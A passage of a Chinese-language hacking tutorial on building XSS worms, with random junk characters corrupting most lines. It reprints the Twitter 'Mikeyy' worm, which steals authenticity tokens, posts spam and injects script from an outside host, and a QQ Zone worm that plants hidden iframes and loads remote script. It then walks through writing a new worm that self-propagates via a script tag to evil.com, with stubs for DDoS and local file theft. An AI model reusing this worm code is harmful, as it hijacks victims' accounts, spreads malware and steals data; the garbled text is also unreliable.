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2. , o5 H3 c: i" _' m( @, a; S' l4 {
$ I$ Y- o3 k1 v; q1 ~. A
3. function XHConn(){ 6 N+ S( G) k5 ?& E7 K
- M2 o# `8 w9 c7 k
4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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4 a7 _; T3 [- ^6 A 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ; d" R' F. [8 N$ A/ }- D" V9 i
' J6 x; H" Q" j! S5 x6 v
8. catch(e) { _0x6687x2=false; }; }; }; ) u) \% d$ X0 e2 `
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML; 8 G \! e* @, k
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3. var tmp_cookie=document.cookie; 0 x- ]2 h1 P/ ^, o9 B1 }6 C. `4 S5 }
3 l; C- f: ]3 L! z+ P' {
4. var tmp_posted=tmp_cookie.match(/posted/); 3 v6 V; u$ _6 {" h9 E
7 y9 L' s7 W7 e 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); % O# w2 J( Y1 \4 m) |) D- W) f u
: g# U! N2 Z8 V: x; p1 X 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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3 O) T5 u, C. m# d5 Z( h* {( G 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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; R! O! j4 Q* K$ @/ R+ Y/ u) ] 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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/ e) z7 B1 j$ K. X! A' f 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; # z* f7 }$ O9 Z* r0 U' ~
: @. [1 q' a: U9 T8 \1 _ e 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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6 \0 b, E0 C! ~( N! G 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 2 L* r3 X# U% c+ B9 p
# a# d/ `/ D, T0 z 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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$ \' v, S% ?. _ 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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: Z* k; a- L' q" F5 M* g 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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! m4 x! q" v9 b 24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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27. " A7 X/ ?/ p4 s) ? J4 X+ h
/ l) _( O% [, l: m 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 5 a' v, M0 c4 }9 ?1 d
l! P9 y. G" k# {2 F2 [ 30. var _0xf81bx1c="Mikeyy"; ( H1 {- V; {+ D* `# w
3 ]. G. [6 M5 B$ ~, g 31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn(); ( N# j$ M. o! i6 Y1 ?
: t8 j" h- R. D* p! |( t 33. ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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8 y; G3 j$ \. o' Y 35. var XSS=urlencode(genXSS); / l& Q" `8 S. }
/ ~) C. v+ u4 X% M% i; o5 c1 d 36. var ajaxConn2= new XHConn(); - ]- a: n4 H7 G
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37. ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 2 n+ }8 e$ o; [- @
1 d6 E$ h' }- ] N2 C 38.
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39. } ;
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40. setTimeout(wait(),5250); 3 L, k! q: `2 A- Z5 T1 M
复制代码QQ空间XSSfunction killErrors() {return true;}+ Y' \% w& T7 u0 z/ x
- q- i) T# h: @9 G# qwindow.onerror=killErrors;
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% K3 ^' o2 _( G
x7 @$ J0 `0 X: s2 u6 Uvar shendu;shendu=4;( r) n- b; U3 Y' Y6 x5 g6 a
/ ^# O* e. |2 u: w$ Y//---------------global---v------------------------------------------$ i8 W5 t% V' X# V. w, {
/ P5 n" H. s$ f" d% D//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?# O3 ?. W. h. G: }. p! c) B$ _
: }; s" X2 l3 B3 T) Uvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";/ z0 K. b) y* N( O$ n1 c
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var myblogurl=new Array();var myblogid=new Array();
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: u: W$ r5 ?& i var gurl=document.location.href; U$ R% b5 t2 m' G
% e8 G: W# t! G% Y var gurle=gurl.indexOf("com/"); U5 I8 s n: K* s
1 ]$ |5 R+ ~% D+ Q* A gurl=gurl.substring(0,gurle+3); 5 P; x) {3 J2 K3 s* |: u& x
% a0 r# }% l8 f6 s var visitorID=top.document.documentElement.outerHTML;; V3 a I: s9 L. N h: C. _, V$ Z4 V
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var cookieS=visitorID.indexOf("g_iLoginUin = ");9 Y8 w0 Q1 S4 X6 |$ \0 f
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visitorID=visitorID.substring(cookieS+14);
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. j1 q& A7 I; d$ U$ F& U cookieS=visitorID.indexOf(",");) }4 C+ K" t3 K* {6 L
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visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID); X) ~- H/ G. Q) ]8 C8 |
" f, }$ _; C4 A) | DOshuamy();
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1 q% O% h+ B1 [( j- \
5 @% V7 T5 y" B$ A//挂马
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function DOshuamy(){7 o# x& r' n9 u, t( C+ H2 p5 f
( x' I* _& a$ E2 lvar ssr=document.getElementById("veryTitle");9 o8 q! c; W4 O4 U2 c! ^
: [0 l+ w5 h; B8 I; Sssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");" v! }) r$ |9 y) Z/ b1 W# N
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8 Q4 C+ @( Z( d9 u
- Z1 H$ a$ W3 F! s! p//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){: c* \9 S. Q& ]- Q" z
, |4 v& W0 U# H3 }6 q `/ Z userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";" F# S1 d( M( a( D
/ k6 Z2 ]1 W; s+ ]: _- n1 u" y xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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/ `3 c: J; q# Q: z, j if(xhr){ //成功就执行下面的, ? c6 R# v6 ~
8 h. |( Y# k* ?/ B4 {) w xhr.open("GET",userurl,false); //以GET方式打开定义的URL
% P' j4 Q3 @9 E! H |2 J
$ X8 E% Q- S( }7 H xhr.send();guest=xhr.responseText;, a4 j4 n! _; z# O
3 e/ z- @# U$ m7 r4 d y* C. h3 ?" O get_my_blogurl(guest); //执行这个函数5 X3 P- r% s6 p0 D7 k7 h7 D+ {
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//这里似乎是判断没有登录的3 [" M( L' G; Q7 z. _% x$ C# O+ a
! n& f: o) n7 d# Sfunction get_my_blogurl(guest){
+ ^0 O( C) N$ ]# R+ C; Z+ Y: v8 j3 {
var mybloglist=guest;; G) W3 M8 d9 |3 G
7 n0 e, `8 g2 G- n1 o var myurls;var blogids;var blogide;
- A3 g0 x; E' A4 `$ l. J/ X6 F; ]7 [) {
for(i=0;i<shendu;i++){1 R, e6 @, h8 M8 }9 i
( z- I p" x6 } x( V myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);5 v% V) N W( k
, L# _ X- A7 o" f myurls=mybloglist.indexOf(')');
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+ p5 K" P1 x9 V+ `' r, J) [ myblogid=mybloglist.substring(0,myurls);
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}else{break;}
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}
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get_my_testself(); //执行这个函数& C, P1 t6 D! { e' W8 k
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}
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& K7 z( M* j5 ^1 y//这里往哪跳就不知道了8 W( c$ Y7 q& [# {
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function get_my_testself(){9 V$ n" [, n2 L' [* l+ |. r7 K) Q3 Z% {
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for(i=0;i<myblogid.length;i++){ //获得blogid的值7 u/ S9 w9 V/ T3 L8 n( L* E
% X6 p# E2 C" n) }$ s, o var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
/ j# U ^! n$ u" A" k! a$ z3 L2 V' R4 [4 n- {$ g" `/ ~+ Y' a3 X
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象- V" m, `8 |& j2 g; V
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if(xhr2){ //如果成功$ `* f* h$ X$ U
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xhr2.open("GET",url,false); //打开上面的那个url' b$ O8 |" N) n; Z/ c
2 T! }2 F& ^" j( v
xhr2.send();, f1 D. b4 C$ F. h, [- p9 A0 A6 b
3 [- s' n9 T9 C5 S/ @# y
guest2=xhr2.responseText;; e1 J7 M+ x/ w; D7 u% d* M3 e" X5 \
8 x" e1 [5 i( L' Y$ n1 x
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?. W: x, E; @. V7 [# b& Y+ |4 Q
0 ^3 R* p" w. `% w4 q4 n
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串& A, q" [: |4 O) P
! i" W/ o0 M8 K$ X1 w# a% p
if(mycheckmydoit!="-1"){ //返回-1则代表没找到8 I6 V+ Q+ g0 `5 H V1 ], x- [( D
: K5 c) P* x, @+ ^# G+ k+ Y {. g- _
targetblogurlid=myblogid;
' ~1 Z! a: t. o3 _5 y/ s/ C# T: @4 C
add_jsdel(visitorID,targetblogurlid,gurl); //执行它% f5 B! B; Y; y( l
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break;
) A% g, F! l; b) N7 Y2 J# N. h" p8 z2 S
}5 v7 O2 d" b; e) x% B/ e0 Z
2 R6 N( M8 |- F- y
if(mycheckit=="-1"){+ P, T9 } Y3 j8 `
2 B; A; c2 ], t8 ]. \
targetblogurlid=myblogid;
7 n# P+ @5 {0 d" H/ {' u; e* w; }9 h( `: |$ Z; D
add_js(visitorID,targetblogurlid,gurl); //执行它 t' ^6 [. |/ m K1 y
! J$ o8 K+ E* K# D. Z! e break;/ Z, l; G. ?- y5 K# i
! E+ f7 t z* V* Z& }& B" c
}
7 d1 P0 I( N: r3 E* k! }) W1 z
) M. D, F8 q$ J# q9 t! v } # m( P$ {7 C0 q9 e
9 r8 Q: m% D/ ^2 `
}
: q r8 {6 ~2 O; k, {# d% |: J3 X( w6 u3 x' N" A9 W
}1 U0 v, ]* e& g! m- {# @
5 ?- W! B$ S7 O, i0 w% K( ~$ b
' t( X9 C) x* M, S
$ s) e, e0 I7 X//-------------------------------------- , U! I; V# O) O7 K3 q
, j* y8 ~5 [% a$ M1 J//根据浏览器创建一个XMLHttpRequest对象
+ }+ q- \; V% M$ W* |
+ B/ v% e/ S3 I9 g1 ifunction createXMLHttpRequest(){2 Z# a2 h2 o/ N/ V& r8 N: p
2 e( K" z/ ], \% B0 ]
var XMLhttpObject=null;
5 [5 ]5 M8 K8 K. }: B* X- m: S
$ y- [: Q( {/ ^4 ~$ R: _ if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
6 ]. A8 P0 j. f! H
5 G. t9 L9 _, k" o else 4 ?9 k+ ^9 ]$ ]( S( [
# B7 R I1 d; Q& O. m6 e: _
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; ' ^! s& f8 @' v
' {) j$ S. I: p8 D8 l$ K9 w for(var i=0;i<MSXML.length;i++) % c- _% m4 {, ^1 R
* S- \! V0 y( f% ]- v' r3 @ { 4 p) J- H5 C, V9 {4 ? w& e
2 T5 S3 g1 z% i! I try 0 Y4 `' @& w: p
. p* v7 o% K& D: _3 X. N { 7 A- c: m2 _' g% [8 S, j
9 V3 a3 Q: C( W3 ~% X/ P( C" T1 q XMLhttpObject=new ActiveXObject(MSXML);
( o3 u; W9 T: o& W1 z. o$ l9 W) ?( v% n
break; . t K* n8 h8 h
- C5 M+ O7 D: _( V }
2 \1 i3 t! Z" K3 c& k& @$ `' [. ^+ n: ?- w: A
catch (ex) { ' ]8 Y+ O4 e. |& ]. N2 E1 I. }1 r
- Y3 | A- R) f3 K# L$ i: g8 y
} . c/ A' L3 ~8 ]5 P: D5 E
4 `. V! k5 a" e1 p
} 9 P2 c; i2 x7 e, H( {; }
" h( l) k' X9 Y- j9 q' F# y% a: \ }, @: i y3 N) a& A: D$ [- `
7 Y* f, u) c& i* V1 E( hreturn XMLhttpObject;
/ q. v$ q; M% m) f) e9 M, @2 d
} ! b! b" V$ {$ B9 M* `) g
% w4 B4 g9 ]6 x3 G0 z7 l
[1 v% R/ f7 t8 [# u/ p
- I8 c0 U9 {; j# H//这里就是感染部分了
! x5 W. g5 q; h6 L% I6 }7 h2 Y6 c# q8 B
function add_js(visitorID,targetblogurlid,gurl){ [7 n0 v2 O' d& T B
& p( |. W! ^) q$ h
var s2=document.createElement('script');$ ^* a9 }& A0 l: J3 R0 v
0 D, b# c# c- [9 [; m& j9 ss2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' b! b* }" ~+ M/ {) e: c4 D& D1 y3 W& r$ Q
s2.type='text/javascript';
- g/ V, a/ _" C5 N5 y
/ J& n; n1 U! P, ?/ [5 v; o: Hdocument.getElementsByTagName('head').item(0).appendChild(s2);
# z! s0 M6 N% [+ o9 P! l3 u4 Q9 f% s' \0 s8 f
}
+ u3 y5 |& T1 O4 K6 e B/ b* r
/ r8 ]1 e3 [; k# A* B+ g/ B6 ^/ ^" ]' r- M, z2 D
. {/ ~2 Q, H" F6 f) d" Q" r
function add_jsdel(visitorID,targetblogurlid,gurl){- B' n; K3 p$ m9 Y
4 }$ b) @, Z' [+ Lvar s2=document.createElement('script');: \7 I. z& f" G9 ~ a
9 G: s. U: U: Z
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
1 k0 c+ J* y4 v+ ?
2 G6 ?! ]7 F. ]9 Ms2.type='text/javascript';
2 A( q9 C" v4 B
4 X% o7 B( w W9 Wdocument.getElementsByTagName('head').item(0).appendChild(s2);! f2 @' L, ]3 O+ [ [
0 ~1 _- K/ M8 M% g: o}" @" r$ H# D1 H( I+ ` Z
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:, j& Z7 a( o, o; o3 r
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
0 L: Q( J0 S6 K' o% G0 h) S, h: S2 \3 d/ m8 X" _
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)! _" ?. c" g( @) |, g( S n7 @# o
. i& _7 S+ O( R' O
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
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$ l$ f& a; }" t" O! k7 c9 b2 Q9 }; t0 a$ }7 K) |1 D' s- O
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.- w A5 ?7 n- X
3 H, |% X1 B5 d& W* i# x2 @
首先,自然是判断不同浏览器,创建不同的对象var request = false;: A+ {# _. E+ z% f' O; Q. f; @
6 J- l# O+ [7 c% m4 E) l4 P7 D
if(window.XMLHttpRequest) {
3 r* z0 c+ {+ Z( `5 k$ b0 q" J1 M; w4 {; o/ z1 _
request = new XMLHttpRequest();
' x8 y( X- ?( e" l
2 B9 j4 R' Q2 i! Cif(request.overrideMimeType) {
& n3 R0 A$ a I7 E
! g r0 D, P+ r* O" \4 c- S* orequest.overrideMimeType('text/xml');2 W: V- y0 ^* ~' e) ]
& O. o4 n% B7 `}
0 x5 C. N+ v [6 J) I# C: d# G( P0 d
} else if(window.ActiveXObject) {
8 D: @& u1 c% ]6 T# E6 b* q5 x4 B( c% Y+ L! a. A( |3 ~ O* x
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];. g9 M- y' b2 c3 J+ b& y( K1 O
' A/ T' n9 n+ H8 f+ s0 J
for(var i=0; i<versions.length; i++) {
7 Q- S; U3 q. O% g
: O, ]3 s; o% }( A4 Otry {
2 C/ M8 j6 O- G6 y- x$ Q
7 _& A% R0 w& m6 Mrequest = new ActiveXObject(versions);) V8 x! }2 M- G. ]; i
. k1 f& o% k; _} catch(e) {}
5 E) x5 i$ }1 _1 V& b* F
1 J3 J" b# m- z" N) E}
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4 ?3 X5 g9 q; T5 w, o}
, o! ^8 W/ c0 ~+ z7 v3 {% E" H; u) C9 f: z/ m2 e; Z/ H* ]! f
xmlHttpReq=request;
' y- @9 `4 T) H& t1 j复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){1 M( J6 F% T: R0 X _
$ J8 F* a& Z3 u3 {
var Browser_Name=navigator.appName;/ l$ E" g# D. A8 ~. X" y: ~
9 [/ X: w7 y, b/ o: S
var Browser_Version=parseFloat(navigator.appVersion);
$ n* Z8 p$ M, l) @) h
x+ H$ T! F' j# R& N# Z var Browser_Agent=navigator.userAgent;/ D0 ]2 Z$ I5 c0 C+ U$ U$ e4 {. ]
* k) ?' U4 ]7 @) k
; u( f% u$ ]- R* p4 Y' N4 C" @9 d7 Z! \% v1 V4 d
var Actual_Version,Actual_Name;
! v$ z: j# ?" M6 Q+ W9 y# S" w- U. l" ]
& a1 p) \5 Z5 \$ m7 ]2 G1 Y
6 ^( _5 c7 l5 v9 } var is_IE=(Browser_Name=="Microsoft Internet Explorer");
% ^" I4 D$ r- b+ m U- k
4 |. y7 v! j, Z. P3 w) n var is_NN=(Browser_Name=="Netscape");
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var is_Ch=(Browser_Name=="Chrome");
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$ r b4 i9 h5 [, x5 [; J+ n
if(is_NN){
0 Z( t9 v. k2 j+ E: t4 f& R$ ?
k( M5 z f0 B$ W if(Browser_Version>=5.0){& X, c/ g( \' S, b
9 m# E: {: s8 X1 r, m var Split_Sign=Browser_Agent.lastIndexOf("/");2 m/ E. D. t* J) h( }4 a+ W
: U: i$ b4 R0 w7 w, g
var Version=Browser_Agent.indexOf(" ",Split_Sign);
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var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);) c. k: |2 D7 P; v) D& D4 d
5 d6 Y2 w8 {6 V. ]( T4 e# y& _% x. s. S- o7 E/ u1 H( y
5 z# j# M }; l/ F Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);- b) J/ S4 c' \3 T% j5 W- j+ T
. u2 {0 A/ }! N. z+ | Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
/ k( T, q$ Q/ |3 J3 S/ M3 Y" y
6 t! N! @5 W) ~' o% u3 E" b }
& K Y9 @# p$ O! B, w) P! j6 V2 T7 [
else{8 E0 @& w) ~. t" i/ P4 K
) z6 L0 [7 F" l. r Actual_Version=Browser_Version;
7 Z. p3 y* {! D
; V) D+ _3 u) ]7 T2 k" y Actual_Name=Browser_Name;
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}! n6 c! u" M( x+ Q' q% k
6 l& d/ a3 @! H. \0 Z( c
}
/ z* a- T- m8 q- U2 t
+ @: e$ b+ p! ^( U else if(is_IE){
* b5 n% n( [! b1 v; t4 B4 F& o) n7 c$ D
var Version_Start=Browser_Agent.indexOf("MSIE");6 H" v& ~1 I# q) ^
9 X) \' M3 r! `' A! `/ |( n- } var Version_End=Browser_Agent.indexOf(";",Version_Start);" s9 y2 |! F! S
: [# t T( b7 q Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;4 d* e' k! Y3 C- U% m& M
U3 P5 t+ M$ \0 D
% A( Q5 K6 f- Y6 T+ f, X
0 W( j& e5 T6 M7 X3 m* l( x if(Browser_Agent.indexOf("Maxthon")!=-1){
0 q$ X. B5 E Q( ^2 ]3 L# W
0 z; `# f3 H! F: ~: D# c Actual_Name+="(Maxthon)";4 M; B# L, Z2 v# v: N6 x
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0 u, U$ W- o7 L4 n7 P4 D% V8 o# b& q c% u2 b% A. S8 z
else if(Browser_Agent.indexOf("Opera")!=-1){
: w) @+ P/ \" a$ r! v! `7 i, ?( Q( T- x2 W" U" G/ |
Actual_Name="Opera";+ R/ L. a6 F: a$ z" Q: Z: _
7 {( Z8 b G% G
var tempstart=Browser_Agent.indexOf("Opera");
& z6 j7 ]6 [ {( D2 Q
+ {* t: ]# m/ M' c var tempend=Browser_Agent.length;
$ O5 e! \5 O5 [, P
- \$ S. R- D7 b; E: d4 s( G Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
?4 t* D: w" W H( M) ]
5 I q8 I3 \: M8 S; b+ e }1 f2 q: i' c7 s; B* i
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else if(is_Ch){
5 R: y) f1 h- ]* z/ s9 S& {
' i* R! H7 ^/ X var Version_Start=Browser_Agent.indexOf("Chrome");
9 F- h) e( w. Z9 N, H2 u4 Q
3 e9 Y5 k6 k' I0 P& ~ var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 p# I/ [6 \+ S# b6 t0 H; }) e! n+ N7 x# {
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)) {% s4 s" n4 g( ^( F! z
N2 Y' ?6 Q. r: H+ {- t( d8 d$ \
Actual_Name=Browser_Name;
$ U7 n$ P' C; B) d! b& M$ ]5 ]3 ` G
* f* Q/ D3 I) k' x* T- l5 j
5 ]% W. G% t" W% B$ f: t if(Browser_Agent.indexOf("Maxthon")!=-1){
; T" T" r: G8 d/ V# A. O ]
% H$ |4 A3 K4 W" l c: y2 B Actual_Name+="(Maxthon)";$ o' @, S; I- K- ]# j' `
9 _: \0 c8 V1 j# ^ }
% N8 U- b7 f' D8 W4 K9 Z: {' O( n# Z7 {$ d d
else if(Browser_Agent.indexOf("Opera")!=-1){
W* J( r/ T! x! R! \4 O- l& @3 A9 n
0 W& j+ G2 C; u6 v0 g4 j. w Actual_Name="Opera";4 i) l" e$ {1 O9 k
0 x8 h0 s. v7 ^! `( G# I
var tempstart=Browser_Agent.indexOf("Opera");+ U( A$ P- x" h+ @5 ]% L4 s) M
& b2 q! K8 k$ @3 q( H var tempend=Browser_Agent.length;' }& P% N' [5 z E- @: L
/ c- [0 i1 b6 }4 y! P: s Actual_Version=Browser_Agent.substring(tempstart+6,tempend)! X6 ]$ n6 E# d n( _9 W6 }
: _6 ]) ]; ~+ n: C2 T6 I
}! `( N8 C5 ?7 E
. l0 m% j% p1 c! O) V
}
8 Z0 z* s1 ]9 M( A. p; @' n
7 o$ {2 z! B% a J else{( R; ] Q0 E2 o9 z6 i
; N, f: K) k' D; W0 j
Actual_Name="Unknown Navigator"
+ v( t/ g) p, u8 e9 z$ L+ @3 F1 d+ ?$ |. a& G$ \( V' \
Actual_Version="Unknown Version"
) M9 G4 q n- V7 k$ x
7 [6 R% \0 ?: W+ H& ]6 G }$ J/ F4 n8 N$ T6 Z$ b+ c, Z: ~( Y, U
4 L. y- S' H! _& K) v1 A# a: _6 i s5 ]7 D: F
( C0 o" z0 N& i navigator.Actual_Name=Actual_Name;
/ i2 Y* B! w7 v* m- g' @
8 U( J' o4 y- j) U: d0 F6 L navigator.Actual_Version=Actual_Version;4 d, `* z2 {+ a' b7 O3 k( l1 E
* Y6 T; x! Z- R" L8 z. [- F6 ?
0 v/ y* D0 `! d# o' K8 _
" l, {6 f9 P) K w this.Name=Actual_Name;
/ F$ J" O D3 A
- G: R8 x! h. Z8 {8 B( K this.Version=Actual_Version;' b; ~, G+ r; A7 g+ f
8 ]' f; x2 ~6 }, I; E; R }
3 a% j/ N3 _7 u4 E3 g( o
9 y& K+ I2 M0 }0 D+ } browserinfo();) t2 l/ h+ `' r: e: W
& V2 C4 d, |$ G$ ]1 o# y* z if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
1 j" q; `: g; |1 f; H* |/ A. n/ [6 T. p+ ~9 h$ F
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}) i' [# f0 Z: |4 {3 }9 v- P, m
. c4 L% G! ]0 s0 f
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
9 t! K7 S8 q& ]. f0 G4 }. z7 B* A; o( P9 T, o' B, p+ e
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}- N- o$ A+ V% ]+ d# {6 q/ K
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
" z3 g9 y7 {+ w9 `( `6 q( [复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
0 U E0 c0 O' N% ~复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
n/ }$ }! M/ W. a% R( ?* R
; e# ~: f" M) o( RxmlHttpReq.send(null);
/ j) E; N: B3 g3 o2 S4 P# N) C% Y& V
var resource = xmlHttpReq.responseText;
& c8 E0 `$ O, B, ^
1 Y* Y+ {& o+ K, v% ?! hvar id=0;var result;
( G* G, Z4 d* |( a+ w- m3 p
: m" ~3 M: G, E) k' S/ Bvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.& u$ s d/ E: G* k$ N- G/ ]
! S! A7 O: }7 M# h6 k( [
while ((result = patt.exec(resource)) != null) {
9 w% `( O2 S9 O
/ P) t$ u. z2 m( h' n: cid++;
1 `( ~5 H0 |, o1 ^4 {% j c8 K: _9 X# ~- v
}
; @% N( h# d" X1 m. M复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.6 W4 E4 P- w3 x+ u3 X' ?* ?
" e O$ s; ?8 T3 L% S; nno=resource.search(/my name is/);1 {9 V0 X5 \6 B1 F2 f1 _1 O, p- a
4 T" a6 C O& s+ cvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.; [* y& p( f9 `( q9 M
; t# y! o, C1 _" z0 D5 P
var post="wd="+wd;
! J0 ^. D/ C" x* p
" L h' Q! ^4 E8 n% ?xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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% q; l [" M: B& \7 uxmlHttpReq.setRequestHeader("content-length",post.length);
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9 h3 i2 {* E- k& _- O9 t+ h; NxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");7 E/ f& K O. E( \' M
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xmlHttpReq.send(post);
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) i" t2 u) {9 U1 H9 ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{) i A" F2 Q7 x$ G( [- a
p1 j# r7 s* @) L+ p- k- {7 Y; bvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方! B! _+ @& ]3 ] a" m( L/ _7 S
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.) g3 z' P- K# ^3 j+ C/ Y+ x
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.% W1 J. V3 `+ ?+ j/ O
b/ X! e8 }- Y5 m0 Uvar post="wd="+wd;! t- s* u) S; n, F5 H+ L* U! Q
